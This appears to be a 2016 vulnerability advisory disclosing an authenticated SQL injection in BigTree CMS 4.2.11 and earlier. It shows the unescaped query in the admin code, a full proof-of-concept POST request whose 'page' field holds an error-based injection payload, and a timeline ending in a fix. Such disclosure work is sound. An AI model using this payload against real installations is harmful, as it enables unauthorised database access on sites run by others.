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1. ADVISORY INFORMATION ======================================== Title: BigTree CMS <= 4.2.11 Authenticated SQL Injection Vulnerability Application: BigTree CMS Remotely Exploitable: Yes Versions Affected: < 4.2.11 Vendor URL: https://www.bigtreecms.org Bugs:SQL Injection Author: Mehmet Ince Date of found: 27 Jun 2016 2. CREDIT ======================================== Those vulnerabilities was identified during external penetration test by Mehmet INCE from PRODAFT / INVICTUS. Netsparker was used for initial detection. 3. DETAILS ======================================== Following codes shows $page variable is used at inside SQL query without proper escaping nor PDO. File : /core/inc/bigtree/admin.php Lines 6866 - 6879 function submitPageChange($page,$changes) { if ($page[0] == "p") { // It's still pending... $type = "NEW"; $pending = true; $existing_page = array(); $existing_pending_change = array("id" => substr($page,1)); } else { // It's an existing page $type = "EDIT"; $pending = false; $existing_page = BigTreeCMS::getPage($page); $existing_pending_change = sqlfetch(sqlquery("SELECT id FROM bigtree_pending_changes WHERE <code>table</code> = 'bigtree_pages' AND item_id = '$page'")); } ... } Basically submitPageChange function is vulnerable against SQL Injection vulnerability. This function was used twice during development. Following list shows location of these function callers. /core/admin/modules/pages/front-end-update.php /core/admin/modules/pages/update.php PoC: Following HTTP POST request was used in order to exploit the SQL Injection flaw. POST /site/index.php/admin/pages/update/ HTTP/1.1 Cache-Control: no-cache Referer: http://10.0.0.154/site/index.php/admin/pages/edit/2/ Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36 Accept-Language: en-us,en;q=0.5 X-Scanner: Netsparker Cookie: PHPSESSID=amsscser3eg7fkljpjjt78ki17; hide_bigtree_bar=; bigtree_admin[email]=mehmet%40mehmetince.net; bigtree_admin[login]=%5B%22session-5770eca81c6d86.91986415%22%2C%22chain-5770ec71e2d7d3.28696204%22%5D; PHPSESSID=lsrbe949jc3na5j1sof19a3s53 Host: 10.0.0.154 Accept-Encoding: gzip, deflate Content-Length: 2248 Content-Type: multipart/form-data; boundary=b788b047b8e345b792cdc1f81fef2106 --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="MAX_FILE_SIZE" 2097152 --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="_bigtree_post_check" success --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="page" -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="nav_title" The Trees --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="title" The Trees --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="publish_at" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="expire_at" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="in_nav" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="redirect_lower" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="trunk" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="external" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="new_window" Yes --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="resources[page_header]" The Trees --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="tag_entry" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="route" trees --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="seo_invisible" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="ptype" Save --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="max_age" 3 --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="template" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="meta_keywords" --b788b047b8e345b792cdc1f81fef2106 Content-Disposition: form-data; name="meta_description" --b788b047b8e345b792cdc1f81fef2106-- 4. TIMELINE ======================================== 27 Jun 2016 - Netsparker identified SQL Injection. 27 Jun 2016 - Source code review and finding root cause of SQLi. 27 Jun 2016 - Issue resolved by PRODAFT / INVICTUS team. 27 Jun 2016 - Pull Request has been sended. https://github.com/bigtreecms/BigTree-CMS/pull/256 -- Sr. Information Security Engineer https://www.mehmetince.net |
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